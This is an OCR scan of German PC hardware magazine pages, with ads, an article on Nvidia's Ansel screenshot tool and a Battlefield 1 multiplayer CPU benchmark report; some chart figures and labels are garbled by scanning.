superschnelle Reaktionen. Der Aluminiumrahmen der Tastatur wurden so konstruiert, 
das sie einen Sturm von Tastenanschlägen widerstehen und auch am nächsten Tag für 
virtuelle Gefechte einsetzbar ist. 


1.2mm 2mm 
RAPIDFIRE MX SPEED р DURCHSCHNITTLICHER 
ULTRASCHNELLER 1 | BETATIGUNGSABSTAND D 


BETÄTIGUNGSABSTAND EINER MECHANISCHEN we E 
STANDARDTASTATUR 


шше 
шше 


Jaryq 


“Summit1G” Lazar 
PRO CS:GO TWITCH STREAMER 


“In einem Spiel wie Counterstrike: 

Global Offensive ist eine zuverlässige NO 

Tastatur nicht nur ein Wunsch, sondern WË, CAT MX ; 
eine Notwendigkeit. Nichts ist schlimmer ч SPEEDRGB . 
als Tasten, die keine Rückmeldung geben 
oder zu langsam agieren. Die neue 
RAPIDFIRE Edition ist eine wahre 
Verbesserung der K70, die ich jetzt 
schon liebe." 


ERFAHREN SIE MEHR AUF CORSAIR.COM/RAPIDFIRE Q a a 
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Scharf geschossen! 


Schicke Bildschirmshots zu erstellen, geht ein wenig über das Drücken des Auslösers zur rechten Zeit 


hinaus — Nvidia bietet mit Ansel ein praktisches Tool an, welches die Arbeit erleichtert. 


unstvolle Screenshots erfreu- 
K sich zunehmender Beliebt- 
heit - und dies betrifft nicht nur 
jene Bilder, die im Auftrag von Ent- 
wicklern und Publishern entstehen 
und moglichst positive Aufmerk- 
samkeit bei Spielern auf einen Titel 
lenken sollen. Nein, auch unzähli- 
ge, teils sehr ansehnliche und von 
Hobby- oder semiprofessionellen 
Bildschirmfotografen erstellte Bil- 
der finden sich im Netz. Schauen 
Sie sich beispielsweise einmal die 
Werke von Natty Dread, Berduu, 
Midhras, K-putt oder Anthemios 
auf Flickr an. Diese Bilder sind oft 
mit sehr viel Hingabe, Mühe, Stil 
und nicht zuletzt handwerklichem 
Geschick erstellt worden und müs- 
sen sich hinter professionellen 
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Shots nicht verstecken. Um Bilder 
dieser Art jedoch überhaupt schie- 
ßen zu können, wird eine Reihe 
Werkzeug benötigt. Perspektive, 
Bildwinkel- und Neigung, Farbfil- 
ter und weitere Einstellungsmög- 
lichkeiten müssen für viele dieser 
Screenshots verändert werden. 


So ähnlich wie bei einer professi- 
onellen Kamera im Vergleich zu 
einer Ex-und-Hop-Automatik reicht 
es also nicht, nur die Auslösetaste 
zu drücken, um ein hübsches Bild 
schießen zu können. Um einmal 
den namensgebenden Naturfoto- 
grafen Ansel Adams zu zitieren: 
„Ein Foto nimmt man nicht, man er- 
stellt es“. Weitere Einstellungsmög- 


lichkeiten sowie das Können, diese 
zu nutzen, müssen in den allermeis- 
ten Fällen gegeben sein. 


Im Falle der Screenshot-Künstler 
kommt dazu zu weiten Teilen eine 
Kombination aus einem Hack 
via Cheat-Engine beziehungswei- 
se Hattis Cinematic Tools sowie 
Downsampling plus Farb- 


Kontrastfilter sowie eventuell zu- 


und 
sätzlich angepasste Post-Proces- 
sing-Effekte mittels Reshade bezie- 
hungsweise Sweet FX zum Einsatz. 
Dies erlaubt sehr hochauflösende 
Bilder in eigenem Look, die dank 
Time-Stop-Funktion und frei be- 
weglicher Kamera beinahe jedes 
erdenkliche Szenario aus einem 
Spiel in beinahe jedem erdenkli- 


chen Look festhalten können. Im 
Gegenzug erfordert diese Herange- 
hensweise aber auch verhältnismä- 
Big viel Einarbeitungszeit. Darüber 
hinaus funktioniert dieser Ansatz 
nicht zwangsläufig in jedem Spiel 
und sollte außerdem aufgrund der 
Art des Eingriffs mit Vorsicht ge- 
nossen werden, wollen Sie keinen 
Bann wegen vermeintlichem Chea- 
ten riskieren. Eine andere Möglich- 
keit ist ein spielinterner Fotomodus 
- sofern vorhanden. Auch diese er- 
freuen sich steigender Beliebtheit 
und finden sich in einer wachsen- 
den Anzahl Spiele, darunter etwa 
Doom, Forza Horizon 3, Mad Max 
oder Mittelerde: Mordors Schatten. 
Sogar auf den Konsolen finden sich 
in ausgewählten Spielen Fotomodi. 
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Zuerst wird die gewünschte Szene gewählt. Insbesondere bei sehr actionreichen 
Szenen ist Ansel konventionellen Screenshots dank Time-Stop-Funktion überlegen. 


Ansel bietet je nach Spiel eine Reihe Einstellungsmöglichkeiten, darunter konfigurier- 
bare Farbfilter, Helligkeit und Konstrast sowie Blickwinkelanpassung und -rotation. 


Speichern Sie die Bilder im EXR-Format, können sie anschließend dank hoher Bit-Tiefe 
verarbeitet werden, ohne dass es zu Artefaktbildung wie etwa Banding kommt. 


Nvidias Fotomodus 

Mit Nvidias Ansel bekommen Ge- 
force-Nutzer einen solchen Foto- 
modus exklusiv in einer Handvoll 
ausgewählter Spiele. Die Einrich- 
tung und Bedienung ist weitaus 
einfacher als die Fummelei mit 
Cheat-Engine, Reshade und Down- 
sampling, im Gegenzug sind Bild- 
schirm-Fotografen aber auch ein 
wenig eingeschränkter. Nvidia An- 
sel dürfte sich vom Anspruch her 
unserer Ansicht nach insbesondere 
für Einsteiger und Fortgeschritte- 
ne Display-Paparazzi eignen, die 
zwar gerne hübsche Screenshots 
schießen möchten, sich aber nicht 
stundenlang mit Hacks und Sha- 
der-Konfiguration herumschlagen 
wollen.Denn auch mit einem Fo- 
tomodus oder Nvidias Ansel ist es 
noch immer eine Leistung - im Sin- 
ne einer längeren Tätigkeit - eine 
gute Aufnahme zu erstellen. Die 
Szene und Ausleuchtung müssen 
stimmen, der Shot trotz Time-Stop- 
Funktion präzise getimt, die Kame- 
raperspektive und die richtigen 
Filter gewählt werden. Ein Großteil 
der erwähnten Leistung liegt also 
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auch mit Ansel beim Ersteller des 
Screenshots, Ansel erleichtert al- 
lerdings die Ausführung dank der 
simpleren Bedienung. 


Außerdem bietet Ansel einige Funk- 
tionen, die über übliche Fotomodi 
hinausgehen. So können Screens- 
hots auf Wunsch in gigantischer 
Auflösung berechnet werden - auf 
unserem Testsystem waren in The 
Witcher 3 so bis zu 61.440 x 34.560 
Pixel beziehungsweise 2123,4 Me- 
gapixel möglich, mehr als die tau- 
sendfache (!) Full-HD-Auflösung 
(2,07 MP). Zudem können Screens- 
hots auch im 360°-Format oder als 
3D-Stereo-Aufnahme gespeichert 
und per VR-Brille angesehen wer- 
den. Wenn Sie Ihre Screenshots im 
Nachhinein bearbeiten möchten, 
bietet sich zudem das 16-Bit-Floa- 
ting-Point-kompatible HDR-Format 
EXR an. Der von Industrial Light & 
Magic stammende offene Standard 
erlaubt es, Bilder beispielsweise 
in Photoshop anzupassen, die Be- 
lichtungszeit zu ändern und dabei 
Artefaktbildung wie Banding zu 
vermeiden. 


Vergleichen Sie das Endresultat mit dem ersten Bild, wird offenbar, wo eine der größ- 
ten Stärken von Ansel liegt: Ein solches Bild wäre konventionell kaum zu schießen. 


Darüber hinaus sind eine Vielzahl 
Kamerafunktionen sowie Farbkor- 
rekturen in Echtzeit möglich, dank 
freier Kamera und Time-Stop-Funk- 
tion sind mit Ansel daher Bilder re- 
alisierbar, die Sie ohne zusätzliche 
Tools in Spielen kaum schießen 
könnten. Allerdings hängt das stark 
darvon ab, welches Spiel Sie zu fo- 
tografieren versuchen. Denn nicht 
alle Funktionen sind in jedem der 
bislang sechs unterstützten Spiele 
enthalten oder funktionieren kor- 
rekt. Ansel-Support haben bislang 
folgende Spiele erhalten: Ark: Survi- 
val Evolved, Dishonored 2, Mirror's 
Edge: Catalyst, Warthunder, The 
Witcher 3 und The Witness. 


So bietet Ansel in Mirror's Edge: Ca- 
talyst keine Super-Resolutions an, in 
Dishonored 2 dürfen wir die Kame- 
ra nicht frei bewegen. Und sollten 
wir beispielsweise in The Witcher 
3, welches auch hohe Auflósungen 
unterstützt, die Neigung des Bildes 
ändern, um etwa ein Hochformat 
zu erhalten, wird das im Anschluss 
berechnete Bild wieder in die ur- 
sprüngliche Lage zurückbefördert. 


Wollen Sie also hochauflösende Bil- 
der in einer schrägen Perspektive 
fotografieren, müssen Sie sich mit 
Ihrer Bildschirmauflösung zufrie- 
dengeben oder DSR beziehungs- 
weise Downsampling nutzen. Auch 
einige andere Features vermissen 
wir bislang, darunter die Mög- 
lichkeit, die (für viele Screenshots 
wichtige) Belichtung in Echtzeit 
anzupassen, Filter für die Schärfe- 
regelung oder Funktionen wie eine 
Echtzeitfokussierung samt konfigu- 
rierbarer Tiefenschärfe sowie um- 
fangreiche konfigurierbare Shader. 
Diese Funktionen, Filter und Sha- 
der bietet wiederum Reshade, wo- 
bei das Konfigurieren dieses Tools 
verhältnismäßig umständlich, zeit- 
raubend und schwierig ist. 


Gewisse Einschränkungen, 
weitere Entwicklung 

Wir haben uns mit Nvidia kurzge- 
schlossen und einige dieser Um- 
stände klären können. Zuerst ein- 
mal befindet sich Ansel noch am 
Anfang der Entwicklung, sowohl 
neue Features als auch Spiele dürf- 
ten in nächster Zeit hinzukommen. 
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Super-Resolutions sind prinzipiell klasse, sie kommen allerdings mit einigen Nebenef- 
fekten. Beispielsweise ein weiBer Schein um den Hexer bei kontraststarken Szenen. 


Auch das Detaillevel hat Macken: Figuren, Sichtweite, Vegetation und Shader werden 
in hoher Qualitàt berechnet, die per Umbra-Middleware realisierte Architektur nicht. 


So soll die sehr populäre Unity- 
Engine in Zukunft neben dem 
Support für Nvidias VR-Works und 
weiteren Gameworks-Bibliotheken 
eine Unterstützung für Ansel erhal- 
ten. Und auch die Unreal Engine 4 
bekommt einen nativen Support. 
Zum anderen sind die Spiele-Ent- 
wickler zum Teil für die Funktio- 
nen in Ansel verantwortlich und 
müssen diese außerdem explizit 
absegnen. Der fehlende Support 
für Super-Resolutions in Mirror's 
Edge: Catalyst geht laut Nvidia bei- 
spielsweise auf solch eine Entwick- 
lerentscheidung zurück - sie woll- 
ten keine Super-Resolutions. 


Ähnliches gilt für zusätzliche Effek- 
te, tiefer in das Gameplay eingrei- 
fende Funktionen (wie eine freie 
Kamerabewegung) oder die gene- 
relle Funktionalität, die beispiels- 
weise in Dishonored 2 wohl noch 
nicht so ganz gegeben ist. Denn 
trotz Unterstützung durch Nvidia 
liegt ein Teil der Arbeit beim Ent- 
wickler selbst. Und gerade wenn 
ein bestimmtes Spiel während sei- 
ner Entstehung jene Reife erreicht 
hat, dass sich eine Integration von 
Nvidias Ansel anbieten würde, ste- 
hen die Studios nicht selten unter 
besonders hohem Druck: Es gilt die 
letzten Bugs zu fixen, den Goldsta- 
tus zu erreichen und das Spiel zu 
veröffentlichen - Crunch Time. 
Soll Ansel direkt zum Release un- 
terstützt werden, kann dies auch 
eine zusätzliche Belastung für die 
Entwickler bedeuten. Die logische 
Konsequenz ist daher auch der von 
uns am häufigsten beobachtete Um- 
stand: Der Support für Nvidias An- 
sel wurde bislang häufig per Patch 
nachgeschoben. Ein etwas anderer 
Fall ist das schon erwähnte Disho- 
nored 2, das bereits zum Release 
Nvidias Foto-Tools unterstützt. Hier 
wirkt Ansel aber wiederum ein 
wenig aufgesetzt, funktioniert in 
einigen Fällen nicht korrekt, lässt 
keine freie Kamerapositionierung 
zu oder es entstehen selbst in nati- 
ver Auflösung unschöne Artefakte. 


Aber selbst bei The Witcher 3, wel- 
ches schon seit geraumer Zeit Ansel 
unterstützt, könnte noch ein wenig 
nachgebessert werden. Neben den 
schon erwähnten Problemchen 
mit den Super-Resolutions und 


effekte (s. links). Häufig wirken die 
geschossenen Bilder deshalb deut- 
lich anders, als jene Szene, die wir 
eigentlich mit Ansel in unseren vir- 
tuellen Sucher genommen haben 
und fotografieren wollten. Dabei 
sollte allerdings erwähnt werden, 
dass Nvidia die Super-Resolutions 
noch mit einem ausdrücklichen 
Beta-Hinweis versehen hat. Die bis- 
lang in diesem Artikel angebrachte 
Kritik sollte daher auch nicht zu 
stark gewichtet und einzig auf den 
Status Quo bezogen werden. 


Bedeutet Ansel Gefahr für 
spieleigene Foto-Modi? 

Es gibt jedoch auch einige eventu- 
ell kritischere Punkte: Zum einen 
ist für die Verwendung von An- 
sel die Installation der Software 
Geforce Experience Pflicht, die 
zudem seit Version 3.0 eine Regis- 
trierung bei Nvidia nötig macht. 
Außerdem blicken AMD- und 
Intel-GPU-Nutzer selbstredend in 
die Röhre: Nur mit einer Geforce 
ab der Kepler-Generation funktio- 
nieren die Screenshot-Tools. Dies 
wiederum lässt uns bei aller durch- 
aus vorhandenen Begeisterung 
skeptisch auf zukünftige Spiele mit 
Ansel-Support blicken: Ein funkti- 
onaler Fotomodus, den alle Nutzer 
gleichermaßen verwenden kön- 
nen, würde uns wesentlich mehr 
zusagen. Und hier verbirgt sich 
eventuell sogar eine gewisse Ge- 
fahr: Kaum ein Entwickler dürfte 
die Arbeit in zwei unterschiedliche 
Fotomodi stecken. Und falls Nvidi- 
as Tool eine Unterstützung erhiel- 
te, fiele eine hauseigene und auf 
jeder Hardware funktionierende 
Lösung höchstwahrscheinlich aus. 
Dies wäre eine eher unschöne Sa- 
che. Wobei es wohl auch mit Ansel 
weiterhin Tüftler für inoffizielle Fo- 
totools geben wird; dies erscheint 
uns nach Beobachtung der Szene 
jedenfalls sehr wahrscheinlich.(pr) 


Tolle Kamera zum Spielen 

Nvidias Ansel ist für Bildschirmfoto- 
grafen und all jene, die es werden wol- 
len, eine feine Entwicklung — sollten 
Sie denn eine Geforce-GPU besitzen. 
Von kleineren Ärgerlichkeiten abgese- 
hen, ist Ansel die einfachste und ange- 
nehmste Methode, schicke Screenshots 
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Und noch ein Nebeneffekt: Beim Zusammensetzen der hochauflósenden Bilder ent- 
stehen Artefakte im Kachelmuster; obendrauf kann sich auffálliges Banding zeigen. 


der Perspektive beobachteten wir 
beim Erstellen dieser gewaltig auf- 
gelósten Bilder eine Reihe Neben- 


zu erstellen. Profis dürften indes (noch) 
einige Funktionen vermissen. 
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Thermaltake 


YOUR WINDOW 
INTO ANOTHER WORLD 


Thermaltake-Komponenten sind erhältlich bei: 
www.alternate.de * www.amazon.de * www.caseking.de * www Conrad de: www.cyberport.de 
www.kmcomputer.de * www.notebooksbilliger.de * www.snogard.de * www.technikdirekt.de 
... und in vielen weiteren Shops 
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Mehr Kern 
mehr Freu 


Vergangene Ausgabe galt das Hauptau- 
genmerk den GPUs. Diesen Monat 
nehmen wir die CPU-Performance im 


Multiplayer von Battlefield 1 ins Visier 8 
ch MO Kn соси 
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n der vorhergehenden PCGH- 

Ausgabe (12/2016) warfen wir 
im Rahmen unseres Herbst-Specials 
bereits einen ausführlichen Blick 
auf die Performance von Battlefield 
1. Dort lag unser Hauptaugenmerk 
jedoch auf der Leistung der Grafik- 
karten, im Mehrspieler-Modus tritt 
jedoch die CPU stark in den Vor- 
dergrund. In diesem zweiten Teil 
ergänzen wir unsere ausführlichen 
Eindrücke zur teilweise kritischen 
Prozessor-Last im Multiplayer. 


Komplexe Messmethodik 
Nun ist der Mehrspielermodus im 
Gegensatz zu der Einzelspielerkam- 
pagne aufgrund des hohen Chaos- 
Faktors, der dadurch teils stark 
schwankenden Leistung und den 
sich sehr unterschiedlich verhal- 
tenden Karten sehr schwierig zu 
benchen - eine einfache Antwort 
auf die Frage „Wie läuft Battlefield 
1 auf meinem PC?“ gibt es somit 
nicht. Aber dies soll uns nicht da- 
von abhalten, Ihnen die Perfor- 
mance des BF1-Multiplayer-Modus 
näher zu bringen. Um dies zu be- 
werkstelligen, beginnen wir zuerst 
einmal mit unserer Testmethodik. 


Nachdem wir bereits unzählige 
Stunden auf der Arbeit und außer- 
dem privat im Multiplayer-Modus 
von Battlefield 1 verbrachten und 
nebenbei Forendiskussionen be- 
züglich der Performance mitver- 
folgten, bemerkten wir schnell 
eine gewisse Diskrepanz zu den 
Erfahrungsberichten online und 
unserem eigenen Spielerlebnis. 


Dieser Umstand sowie die Beob- 
achtung, dass insbesondere Besit- 
zer von Vierkern-Prozessoren und 
nochmals vermehrt i5-Nutzer über 
die Performance klagen, brachten 
uns schnell auf den Gedanken, 
dass die CPU-Performance in Batt- 
lefield 1 stark von der Anzahl der 
verfügbaren CPU-Threads abhän- 
gig ist. Denn während viele Nutzer 
Frameraten unterhalb von 60 Fps 
in chaotischen Situationen beklag- 
ten, konnten wir dies weder mit 
unserem achtkernigen Testsystem 
noch mit dem sechskernigen Pri- 
vatrechner bestätigen. Hier lagen 
die Frameraten in schlimmsten Fall 
bei rund 90, respektive 80 Fps. 


Um die CPU-Performance genau- 


er einschätzen zu können, nutzen 
wir insgesamt fünf Systeme: Den 
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Anfang macht unser reguläres Test- 
system, ein i7-6900K, der dank Hy- 
perthreading insgesamt 16 Threads 
nutzen kann. Mit diesem erstellen 
wir zuerst auf leeren Servern Ba- 
sismessungen für jede Map. Dazu 
verbauen wir eine sehr potente 
GTX 1080 OC, reduzieren die Auf- 
lösung auf 720p, schalten das Ultra- 
Preset zu und das 200-Fps-Lock aus. 
Wir sprinten von Punkt zu Punkt 
und beobachten die Performance 
- die Ergebnisse sehen Sie rechts. 
Auffällig: Die Karte „Am Rande des 
Reichs“ fällt bei der Performance 
kräftig ab; insbesondere dann, 
wenn die Festungen im Blickfeld 
sind. 


Überhaupt haben (zerstórbare) Ge- 
bäude offensichtlich einen starken 
Einfluss auf die Bildraten. Neben 
„Am Rande des Reichs“ fällt auch 
die in der Festungsanlage abfallen- 
de Performance auf der Karte „Fes- 
tung von Faw“ ins Auge, während 
die Leistung ansonsten ähnlich wie 
auf den anderen Wüsten-Karten 
im oberen Bereich liegt. Auch auf 
„Krieg im Ballsaal“ und „Amiens“ 
fällt die Leistung immer dann ab, 
wenn sich Gebäude samt Destruc- 
tion-Physik im Blickfeld befinden. 
Ebenso auffällig ist, dass sich die 
stets vertretenen Stocker, die beim 
Zuschalten der Direct-X-12-API auf- 
treten, offenbar stark häufen, wenn 
wir unsere Spielfigur in die Nähe 
eines Gemäuers manövrieren. 


Im Gegensatz dazu laufen Karten, 
auf denen nur wenig Mauerwerk 
platziert wurde, nicht nur schnel- 
ler, sondern unter DX12 auch deut- 
lich runder. Ein roter Faden, also 
ein einzelner Benchmark, der all 
diese Szenarien vereint, lässt sich 
trotz all unserer Bemühungen je- 
doch nicht finden, ebenso wenig 
können wir die teils heftig abfal- 
lende Performance in chaotischen 
Mehrspieler-Gefechten verlässlich 
reproduzieren. 


Aus diesem Grund wählen wir drei 
Szenarien: Der „Wald von Argon- 
nen“ ist kaum bebaut, grafiklastig 
und ein DX12-Bestcase; „Am Rande 
des Reiches“ ist ein CPU-Worstcase, 
„Amiens“ der beste Vertreter für 
hohe Mischlast. Diese drei Basis- 
Szenarien testen wir auf den fol- 
genden Seiten mit unseren fünf 
verschiedenen, frisch aufgesetzten 
Systemen auf vollen Servern. 


— u 


Auf der Map „Am Rande des Reichs” findet sich bei Punkt G ein CPU-Worst-Case- 
Szenario. Auch auf anderen Karten mit vielen Gebäuden sinkt die Leistung merklich. 


Battlefield 1 — Performance-Bild der Maps 


1.280 x 720, Ultra-Preset inkl. TAA 


Sinai Halbinsel E 240,6 (Basis) 
Suez Kanal FE ew 240, 1 (-0%) 
Monte Grappa asli 211 (-12%) 
Narbe von St. Quentin ШОВ 208,5 (-13%) 
Wald der Argonnen =R. 205,4 (-15%) 
Festung von Faw ww, ШЕННЕ 204,1 (-15%) 
Krieg im Ballsaal Xe! 196,4 (-18%) 
Amiens БЕСНИ 185,9 (-23%) 
Am Rande des Reiches Xo e 144,5 (-40%) 


System: Core i7-6900K @ 4,0 GHz, 32 GiByte DDR4-3000, Geforce GTX 1080 OC 
Bemerkungen: Gemessen beim Sprinten von Punkt zu Punkt quer über die einzelnen 
Maps auf leeren Servern. Amiens bietet das beste Szenario für eine hohe Mischlast. 


Mimil 2 Fps 


» Besser 


Benchmarks im CPU-Limit (Basis-Messung) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen 231,3 (+17%) 
Amiens in 198,3 (Basis) 
Rand des Reichs gt 83,7 (-58%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen =Ə07 213,4 (+17%) 
Amiens БНС НВ 182,7 (Basis) 
Rand des Reichs RB 83,2 (-54%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen 178,2 (4396) 
Amiens PER 173,6 (Basis) 
Rand des Reichs gr 82 (-53%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen ERE E 194,9 (45%) 
Amiens maa 186,5 (Basis) 
Rand des Reichs SSPIIFəFIVCGƏGOIIOISIIƏIIG, (-53%) 


System: Core i7-6900K @ 4,0 GHz, 32 GiByte DDR4-3000 Bemerkungen: Hier sehen 
Sie unsere Basis-Messungen für unsere drei Benchmarkszenarien. Auf leeren Servern fallen 
die Frameraten teils deutlich höher aus als auf voll besetzen. 


Mimi @ Fps 


» Besser 
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Intel Octacore: Stabile Bildraten schon ab 2,0 GHz 


Unser Standard-Benchmark , Amiens" liefert eine gute Mischlast für CPU und GPU. 
Was Stocker anbelangt, ist dies allerdings ein DX12-Worstcase-Szenario. 


Benchmarks im CPU-Limit (17-6900K @ 4,0 GHz) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen es 199,8 (+12%) 
Amiens FER 178,4 (Basis) 
Rand des Reichs EX 76,6 (-57%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen EX 189,5 (+25%) 
Amiens 151,2 (Basis) 
Rand des Reichs ESG 72,1 (-52%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen FIRE 170,3 (+2%) 
Amiens PER 167,5 (Basis) 
Rand des Reichs mnt 81,7 (-51%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen Ego 186 (4.1596) 
Amiens Emu 161,5 (Basis) 
Rand des Reichs ES 80,3 (-50%) 


System: Core i7-6900K @ 4,0 GHz, 32 GiByte DDR4-3000, Geforce 375.95 WHQL, 
Radeon Software 16.11.3 Hotfix; Windows 10 x64 Bemerkungen: Der mächtige 
Intel-Achtkernprozessor liefert auf 4,0 GHz übertaktet stets deutlich über 60 Fps. 


Mimi 2 Fps 


» Besser 


Benchmarks im CPU-Limit (i7-6900K @ 2,0 GHz) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen 135,3 (419%) 
Amiens 113,6 (Basis) 
Rand des Reichs MEMES 41,6 (-63%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen 114 (+16%) 
Amiens EB 98 (Basis) 
Rand des Reichs MEMES 42,1 (-57%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen ШО 121,1 (+13%) 
Amiens 107,6 (Basis) 
Rand des Reichs ВЕЗИ 42,8 (-60%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen al 143,3 (+38%) 
Amiens 103,8 (Basis) 
Rand des Reichs ВЕНЕВ 42,6 (-59%) 


System: Core i7-6900K @ 2,0 GHz, 32 GiB DDR4-3000, Geforce. 375.95 WHQL, Radeon 
16.11.3 Hotfix; Windows 10 x64 Bemerkungen: In CPU-kritischen Szenarien halbiert 
sich die Framerate bei halbiertem Takt beinahe — sie liegt im Vergleich dennoch hoch. 


Mimil Fps 


» Besser 
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Benchmarkszenen wurde 
uns schnell klar, dass wir Probleme 
bekommen würden, mit AMDs mo- 
mentan schnellster Grafikkarte in 
720p verlässlich ins CPU-Limit zu 
geraten. Der im Vergleich extrem 
gut laufende Intel Core i7-6900K 
ist selbst untertaktet auf 2,0 GHz zu 
schnell, um unsere CPU mit der RO 
Fury X ähnlich sauber wie mit der 
GTX 1080 an ihr Leistungslimit zu 
treiben. Aus diesem Grund haben 
wir die Auflösungsskalierung auf 
25 Prozent (pro Achse) verringert, 
ausgehend von 1.280 x 720 ergäbe 
dies eine Auflösung von gerade ein- 
mal 320 x 180 Pixeln. 


Ns unserer Evaluierung der 


Dies wiederum ist kein gutes Sze- 
nario, um die GPUs und insbeson- 
dere die R9 Fury X vernünftig aus- 
zulasten. An dieser Stelle kommt 
Direct X 12 ins Spiel, welches den 
GPUs je nach Situation zu einem 
deutlichen Leistungs-Boost verhel- 
fen kann. Generell ist aufgrund der 
schlechten Frameverteilung und 
nur in einigen Fällen besseren Bild- 
raten momentan jedoch noch von 
der neuen API abzuraten - dies gilt 
nicht nur für den i7-6900K, son- 
dern auch für alle anderen von uns 
getesteten Systeme. 


Da Battlefield 1 mit dieser Aufló- 
sung geradezu unspielbar ist und 
auch unsere Benchmarks nur ei- 
nen Teil der von vielen Spielern 
bemängelten CPU-Performance 
einfangen können, ergänzen wir 
unsere Messungen mit jeweils zwei 
10-Minuten-Messungen in 1440p - 
jeweils eine für AMD und Nvidia: 
Wir stürzen uns auf „Amiens“ mit- 
ten ins Gefecht und geben unser 
Móglichstes, Chaos und Zerstörung 
um die Punkte B, C und D zu sä- 
hen. Hier brechen die Bildraten auf 
schwächeren Systemen teilweise 
extrem stark ein. Beachten Sie bei 
diesen Messungen, dass diese nur 
sehr begrenzt vergleichbar sind; es 
handelt sich eher um eine Moment- 
aufnahme, denn einen Richtwert, 
die Messungen sind nicht 1:1, son- 
dern nur im Ansatz reproduzierbar. 
Doch geben diese Diagramme das 
realistischste, spielnaheste Mess- 
szenario wieder: Hier zeigt sich 
sehr deutlich, welche CPU Schwie- 


rigkeiten damit hat, die für Battle- 
field 1 nötigen 60 Fps zu erzielen 
und auch zu halten. Nötig sind die- 
se nicht nur aufgrund des flüssigen 
Bildes und der geringen Eingabela- 
tenz, sondern auch wegen der Tick- 
rate von 60 Hz. Erzielt Ihr Sytem 
weniger als 60 Bilder pro Sekunde, 
gerät die Synchronisierung mit 
den Servern aus den Fugen; nicht 
nur das Spielgefühl leidet, sondern 
auch die Präzision. 


Bestleistungen für Intel- 
Achtkerner 

Gute Nachrichten für Spieler mit 
dicken Octacore-Prozessoren: Batt- 
lefield 1 profitiert wie kaum ein 
anderer Titel von acht physischen 
Kernen. Das gilt nicht nur für die 
offensichtlichen Benchmark-Ergeb- 
nisse, sondern auch für das Spieler- 
lebnis: Die Frameraten liegen hoch, 
sie tun dies vor allen Dingen aber 
auch sehr stabil. Bei unseren 10-Mi- 
nuten-Messungen auf „Amiens“ 
sanken die Bildraten in 1440p mit 
der GTX 1080 niemals unter die 
80-Fps-Grenze. Selbst im dichtes- 
ten Getümmel ist das Spielerlebnis 
mit dem i7-6900K erstklassig. Ähn- 
liches gilt für die RO Fury X, die je- 
doch aufgrund ihrer Leistung nicht 
die selben, sehr hohen Bildraten 
wie die Nvidia-GPU erzielen kann. 
Doch bleibt auch AMDs ehemali- 
ges Flaggschiff auf sauberem Kurs, 
Einbrüche unter die 60-Fps-Grenze 
sind selten und gehen einzig auf 
die gegenüber der GTX 1080 deut- 
lich weniger potente GPU zurück. 
Und tatsächlich reichen der fetten 
(und sehr teuren) Intel-Achtkern- 
CPU 2,0 GHz, um beide Grafikkar- 
ten ausreichend auszulasten. 


In diesem Zusammenhang: Neh- 
men Sie einmal die Benchmarks 
links in Augenschein: Selbst mit 
stark reduzierter Auflösung - ei- 
gentlich ein No-Go für die schwie- 
rig auszulastende Fiji-GPU - liegen 
die Bildraten auf ähnlich hohem 
Niveau wie die der GTX 1080. Die 
Messungen im CPU-Limit auf der 
Karte „Am Rande des Reiches“ ent- 
reißen den häufig in einschlägigen 
Foren auffindbaren Behauptungen 
von einem ominösen AMD-Treiber- 
Overhead die Substanz: Tatsächlich 
liefert die R9 Fury X voll CPU- 
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limitiert zumeist höhere Bildraten 
als die Nvidia-Grafikkarte, deren 
Treiber häufig eine besonders ef- 
fiziente Arbeitsweise nachgesagt 
wird. Vielleicht hat AMD an dieser 
Stelle in den letzten Monaten Ver- 


besserungen einfließen lassen oder 


Auflösung höchstwahrscheinlich 
nochmals verstärkt wird. Leistungs- 
zugewinne der CPU - eigentlich 
eine der Tugenden von Direct X 
12 - fallen indes sehr schmal aus. 
Interessanterweise kann offenbar 


die GTX 1080 am ehesten von die- 


neuere Spiele profitieren durch 
die „PC-nahe“ AMD-Hardware der 
Konsolen. Der Achtkern-Prozessor 
ist offenbar nicht der Grund, wes- 
halb die Fury X im vollen CPU-Limit 
meist etwas bessere Fps liefert, das 
Bild wiederholt sich auch bei unse- 180 


sen profitieren. Die Gewinne bei 


ren anderen Tests 160 


ieht es auf der eher To 


grafiklastigen Karte ,Wald der 

gonnen“ Insbesondere hier 
fällt die Fu X recht weit hinter 
die GTX 1080 zurück - zumindest 
unter Direct X 11. Denn wechseln 
wir die Schnittstelle, verkehrt sich 
das Bild: Die unter Direct X 11 
deutlich schnellere GTX 1080 wird 
von der Fury X unter der neuen 
API ein- und oftmals überholt. Dies 
wiederum spricht für ein Auslas- 
tungsproblem unter Direct 11, 


Etwas anders 
120 


aus: 


40 


Bilder pro Sekunde (Fps) 


System: Core i7-6900K 
welches durch die extrem niedrige 
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den Frameraten im CPU-Limit auf 
„Am Rande des Reiches“ sind aller- 
dings sehr schmal. Da hier unserer 
Erkenntnis nach ein erdrückender 
Overhead vorzuherrschen scheint 
- weder CPU noch GPU werden 
deutlich über 30 Prozent ausge- 
lastet und die GTX 1080 taktet 


Frameverlauf „Amiens” Conquest 64/64 - 10 Minuten Multiplayer-Gameplay 


100 ] Ad d V V "МҮ 
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sich aufgrund niedriger Last sogar 
herunter -, gehen wir davon aus, 
dass DIC 
X-12-Portierung bislang nicht aus- 
reichend in Angriff genommen hat. 


diesen Part der Direct- 


Eventuell geht auf diese Problema- 
tik auch das bestándige Stocken un- 
ter der DX12-API zurück. 


E CPU @ 4,0 GHz; GTX10800C W CPU @ 2,0 GHz; GTX 1080 OC 


E CPU @ 4,0 GHz; R9 Fury X 


300 


Zeit in Sekunden 


Unbegrenzte Möglichkeiten! 


DARK BASE 900 


